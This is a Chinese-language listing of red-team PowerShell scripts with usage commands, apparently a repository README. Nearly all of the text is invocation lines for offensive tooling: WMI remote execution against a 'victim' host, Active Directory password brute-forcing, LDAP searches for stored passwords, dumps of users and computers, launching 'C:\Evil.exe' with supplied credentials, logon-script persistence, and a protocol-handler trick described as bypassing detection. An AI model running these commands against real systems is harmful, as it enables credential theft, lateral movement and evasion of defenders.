Red Team 常用 Powershell 脚本

Search-EventForUser.ps1：在 Windows 事件日志中搜索特定用户的 Powershell 脚本
Search-FullNameToSamAccount.ps1：SamAccountName 的全名
Search-UserPassword.ps1：在 LDAP 中搜索 userPassword 字段
Remote-WmiExecute.ps1：使用 WMI 远程执行命令
Take-Screenshot.ps1：截图（PNG）
Get-BrowserHomepage.ps1：获取浏览器主页
Get-IEBookmarks.ps1：列出所有 Internet Explorer 书签 URL
Invoke-ADPasswordBruteForce.ps1：测试用户密码
Utility.ps1：包含几个 cmdlet
Run-As.ps1：以另一个用户身份运行进程（凭据）
Get-ProcessList.ps1：列出进程、所有者和命令行参数
Remote-RegisterProtocolHandler.ps1：使用协议处理程序运行您的命令以绕过某些检测
Add-UserLogonScript：为特定用户添加登录脚本

module-import .\Search-EventForUser.ps1; Search-EventForUser -TargetUser "MrUn1k0d3r"

module-import .\Search-EventForUser.ps1; "MrUn1k0d3r" | Search-EventForUser

module-import .\Search-EventForUser.ps1; Search-EventForUser -TargetUser MrUn1k0d3r -ComputerName DC01

module-import .\Search-EventForUser.ps1; Search-EventForUser -TargetUser MrUn1k0d3r -FindDC true

module-import .\Search-EventForUser.ps1; "god", "mom" | Search-EventForUser -FindDC true

module-import .\Search-EventForUser.ps1; "god", "mom" | Search-EventForUser -FindDC true -Username DOMAIN\admin -Password "123456"

module-import .\Search-FullNameToSamAccount.ps1; Search-FullNameToSamAccount -Filter *god*

module-import .\Search-FullNameToSamAccount.ps1; "god", "mom" | Search-FullNameToSamAccount

module-import .\Search-UserPassword.ps1; Search-UserPassword -Username *god*

module-import .\Search-UserPassword.ps1; "god", "mom" | Search-UserPassword

module-import .\Remote-WmiExecute.ps1; Remote-WmiExecute -ComputerName victim01 -Payload "cmd.exe /c whoami"

module-import .\Take-Screenshot.ps1; Take-Screenshot -Path C:\test.png

module-import .\Get-BrowserHomepage.ps1; Get-BrowserHomepage

module-import .\Get-IEBookmarks.ps1; Get-IEBookmarks

module-import .\Invoke-ADPasswordBruteForce; Invoke-ADPasswordBruteForce -Username "mr.un1k0d3r" -Password "password"

module-import .\Invoke-ADPasswordBruteForce; "neo","morpheus" | Invoke-ADPasswordBruteForce -Password "password"

module-import .\Invoke-ADPasswordBruteForce; "neo","morpheus" | Invoke-ADPasswordBruteForce -Password "password" -Domain MATRIX

Search-EventForUser
Search-EventForUserByDomain
Search-EventForUserByIP
Search-FullNameToSamAccount
Ldap-GetProperty
Search-UserPassword
Dump-UserEmail
Dump-Computers
Dump-UserName

module-import .\Run-As.ps1; Run-As -Username RingZer0\Mr.Un1k0d3r -Password "IShouldNotLeakThisPasswordOnTheInternet" -Process "C:\Evil.exe"

Invoke-COM-ScheduleService
Invoke-COM-XMLHTTP
Invoke-COM-ShellBrowserWindow
Invoke-COM-WindowsScriptHost
Invoke-COM-ProcessChain 
Invoke-COM-ShellApplication

module-import .\Get-ProcessList.ps1; Get-ProcessList

module-import .\Remote-RegisterProtocolHandler.ps1; Remote-RegisterProtocolHandler -ComputerName host -Payload "command to run"
module-import .\Remote-RegisterProtocolHandler.ps1; Remote-RegisterProtocolHandler -ComputerName host -Payload "command to run" -Handler ms-handler-name